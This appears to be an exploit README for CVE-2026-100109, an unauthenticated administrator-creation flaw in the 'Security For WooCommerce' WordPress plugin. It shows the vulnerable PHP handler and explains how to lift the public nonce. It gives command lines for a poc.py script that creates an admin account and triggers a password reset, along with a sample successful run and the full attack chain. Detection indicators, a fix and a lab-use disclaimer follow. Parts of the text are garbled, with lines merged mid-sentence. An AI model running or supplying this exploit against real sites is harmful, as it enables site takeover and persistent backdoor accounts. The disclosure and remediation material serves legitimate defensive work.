
CVE-2026-100109 - Security For WooCommerce 1.0.10-1.0.16 unauthenticated admin creation (PoC + exploit by thiscitze)
by thiscitze
| Product | Security For WooCommerce (ultimate-security-for-woocommerce) |
| Affected | 1.0.10 – 1.0.16 |
| Type | Missing authorization / privilege escalation (CWE-862) |
| Impact | Unauthenticated administrator account creation |
| CVSS | 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| NVD | https://nvd.nist.gov/vuln/detail/CVE-2026-100109 |
The plugin registers usfw_create_temporary_user for unauthenticated users:
add_action( 'wp_ajax_nopriv_usfw_create_temporary_user',
[ $this, 'usfw_create_temporary_user' ] );
The handler verifies a nonce, creates a user with wp_create_user() and then
calls:
$role = isset( $_POST['role'] ) ? sanitize_text_field( $_POST['role'] ) : 'subscriber';
...
$user->set_role( $role );
There is no current_user_can() check. The nonce
(ultimate_security_for_woocommerce_security_nonce) is localized by the
plugin's public script, so every anonymous visitor can read it from the page
source.
The generated password is not returned by the AJAX response, so the practical chain is:
--email address# create the admin and request the password reset
python3 poc.py --url https://target.example --email [email protected]
# custom username / role
python3 poc.py --url https://target.example --email [email protected] \
--username support --role administrator
# only create the account
python3 poc.py --url https://target.example --email [email protected] --no-reset
Typical run:
+ nonce from https://target.example/
+ ajax : https://target.example/wp-admin/admin-ajax.php
+ administrator account created: pocsupport1
+ password reset requested for [email protected]
* open the reset link from that mailbox, set a password, log in
ultimate_security_for_woocommerce_ajax_obj to obtain ajax_url and the
nonce (falls back to a regex on the JSON fragment).action=usfw_create_temporary_user with the chosen user_name,
email, role, and a one-week expiry.success: true in the JSON response.wp-login.php?action=lostpassword to send the reset
link to the email you supplied.An unauthenticated attacker becomes administrator as soon as the reset email
is used. Even without mailbox access, the created account with
administrator role is a persistent backdoor that survives until an admin
removes it.
POST /wp-admin/admin-ajax.php with action=usfw_create_temporary_user
from an unauthenticated sessionusfw_user_type=temporary_user and an unexpected
rolewp-login.php?action=lostpassword for a freshly created accountcurrent_user_can('create_users') and a capability check before
set_role()usfw_create_temporary_user callsFor authorized testing and lab use only. Creating accounts on systems you do not own is a criminal offence in most jurisdictions.
written by thiscitze · github.com/thiscitze